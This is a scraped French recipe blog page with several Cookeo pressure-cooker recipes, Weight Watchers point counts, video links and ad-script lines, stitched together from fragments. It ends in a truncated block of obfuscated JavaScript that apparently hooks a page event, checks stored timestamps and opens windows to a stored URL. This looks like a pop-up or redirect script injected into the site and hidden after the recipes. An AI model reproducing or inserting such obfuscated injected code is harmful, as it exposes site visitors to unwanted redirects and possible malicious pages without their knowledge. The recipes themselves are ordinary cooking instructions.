Fiche cookeo soupe de poissons  180 CALORIES  4 PP 3 SP

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[youtube https://www.youtube.com/watch?v=65zFUXKC_nk]
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Escalopes porc brocolis recette cookeo

220 CALORIES     5 PP  7 SP

Ingrédients pour 4 personnes 

800 g de brocolis

200 g d’oignons 

3 escalopes de porc (400 g )

Huile d’olive

1 cube de bouillon de poule .

Sel 

Poivre

Mélange 5 baies 

Préparation 

Découpez les escalopes de porc en morceaux .

Déposez les brocolis dans la cuve et recouvrez d’eau .  Emiettez votre cube de bouillon de poule.

Cuisson rapide ou sous pression .

Programmez 3 mn 

Quand la cuisson est terminée sortez la cuve du cookeo pour égouttez les brocolis.

Redéposez la cuve dans le cookeo .

Passez en mode dorer et versez de l’huile dans la cuve .

Quand l’huile est  chaude faites dorer les morceaux d’oignons ainsi que les escalopes que vous avez coupées en morceaux .

Salez et poivrez saupoudrez de mélange 5 baies .

Ajoutez les brocolis égouttés et faites dorer pendant 2 à 3 mn .

Servez chaud 
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Fiche cookeo escalopes porc brocolis

220 CALORIES     5 PP  7 SP

//
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Boeuf Bourguignon cookeo weight watchers

460 CALORIES 10 PP 12 SP

Ingrédients pour 4 personnes :

700 g de bœuf coupé en morceaux

600 g de carottes

250 ml  de vin rouge
150 ml d’eau

1 cuillère à soupe d’huile d’olive
1 oignon

10 petits oignons au vinaigre

400 g de champignons de Paris
1 bouquet garni

1 cuillère à café d’ail déshydraté

2 cuillères à café de maizena
Sel et poivre

Préparation

Mode dorer

Versez l’huile dans la cuve puis faites dorer les oignons et la viande.

Ajoutez les carottes ,les champignons ,le bouquet garni .

Versez Le vin rouge et l’eau .

Salez et poivrez selon votre convenance.

Cuisson rapide ou Cuisson sous pression : 35 min
Quand la cuisson est terminée  repassez en mode dorer . Ajoutez  la maizena et mélangez jusqu’à ce que la sauce épaississe.

Servez chaud
[youtube https://www.youtube.com/watch?v=x_iGYr2yJ_w]

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Spaghettis dinde moutarde cookeo 370 CALORIES  8 PP 9 SP

Ingrédients pour 4 personnes

4 escalopes de dinde

200 g de champignons de Paris

100 g d’oignons

240 g de spaghettis

2 cuillères à soupe de moutarde forte

Sel

Poivre

20 cl de crème fraîche liquide

Huile d’olive

Préparation

Mode dorer

Versez l’huile d’olive dans la cuve et faites revenir les morceaux de dinde .

Ajoutez les oignons pour les faire dorer puis c’est au tour des champignons

Salez et poivrez selon votre convenance. Versez les spaghettis coupées en 2 dans la cuve

Recouvrez les ingrédients d’eau

Cuisson rapide ou sous pression

Programmez 4 mn le temps indiqué sur le paquet de spaghettis divisé par 2

Quand la cuisson est finie ajoutez la crème fraîche et la moutarde .

Servez chaud
//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js

//
[youtube https://www.youtube.com/watch?v=1CnhyjIq-N8]
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Coucou tout le monde 

je vous souhaite un Joyeux Nöel et un excellent réveillon . J’espère que vos souliers seront remplis de cadeaux . 

//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js

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Voici ma sélection de 3 recettes cookeo enfants. J’espère que vos enfants apprécieront comme les miens l’on fait .

Pour accéder à la recette cliquez sur l’image 

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Fiche cookeo  Gnocchis tomate

[youtube https://www.youtube.com/watch?v=-fYIh4UrLng]
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//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js


//

Vidéo cookeo coquillettes tomates express

[youtube https://www.youtube.com/watch?v=a_VT4ccM3Hs]
//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js


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Fiche cookeo veau Marengo weight watchers

//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js

//
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//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js
Vidéo cookeo poulet cola weight watchers

//
[youtube https://www.youtube.com/watch?v=AfnVegz32TY]

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Vous souhaitez démontez les poignées de la cuve du cookeo alors ce PDF devrait vous être utile . 

Vous pouvez téléchargez le PDF du démontage poignées cookeo  en cliquant ICI ou sur l’image 

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Poulet aux cèpes recette cookeo

Ingrédients pour 6 personnes

1 kg de cèpes

6 cuisses de poulet

200 g d’oignons congelés

1 cube de bouillon de bœuf

Concentré de tomates

300 ml de vin rouge

Sel

Poivre

Huile d’olive

Préparation

Mode dorer

Versez  de l’huile d’olive dans la cuve puis faites revenir les cèpes.

Egouttez les champignons en enlevant la cuve du cookeo . Repositionnez la cuve et poursuivez la cuisson des champignons . Rajoutez un pu d’huile si nécessaire .

Ajoutez les oignons dans la cuve .

Réservez les champignons . Versez à nouveau de l’huile d’olive et faites dorer les cuisses de poulet .

Remettez les champignons dans la cuve . Ajoutez le vin rouge et de l’eau  et le cube de bouillon de bœuf .

Salez et poivrez .

Cuisson rapide ou cuisson sous pression

Programmez 50 mn .

Quand la cuisson est terminée ajoutez le concentré de tomates. Servez chaud
[youtube https://www.youtube.com/watch?v=qv78DDMBvJ0]
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_0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());